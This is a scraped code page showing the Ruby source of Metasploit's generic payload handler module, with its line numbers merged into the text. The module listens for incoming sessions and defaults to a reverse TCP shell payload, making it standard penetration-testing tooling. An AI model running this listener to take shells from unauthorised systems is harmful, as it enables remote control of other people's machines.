Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/handler.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78#9# This module does basically nothing10# NOTE: Because of this it's missing a disclosure date that makes msftidy angry.11#1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Generic Payload Handler',18'Description' => %q(19This module is a stub that provides all of the20features of the Metasploit payload system to exploits21that have been launched outside of the framework.22),23'License' => MSF_LICENSE,24'Author' => [ 'hdm', 'bcook-r7' ],25'References' => [ ],26'Payload' =>27{28'Space' => 10000000,29'BadChars' => '',30'DisableNops' => true31},32'Platform' => %w[android apple_ios bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi],33'Arch' => ARCH_ALL,34'Targets' => [ [ 'Wildcard Target', {} ] ],35'DefaultTarget' => 0,36'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_reverse_tcp' }37)38)3940register_advanced_options(41[42OptBool.new(43"ExitOnSession",44[ true, "Return from the exploit after a session has been created", true ]45),46OptInt.new(47"ListenerTimeout",48[ false, "The maximum number of seconds to wait for new sessions", 0 ]49)50]51)52end5354def exploit55if datastore['DisablePayloadHandler']56print_error "DisablePayloadHandler is enabled, so there is nothing to do. Exiting!"57return58end5960stime = Time.now.to_f61timeout = datastore['ListenerTimeout'].to_i62loop do63break if session_created? && datastore['ExitOnSession']64break if timeout > 0 && (stime + timeout < Time.now.to_f)65Rex::ThreadSafe.sleep(1)66end67end68end697071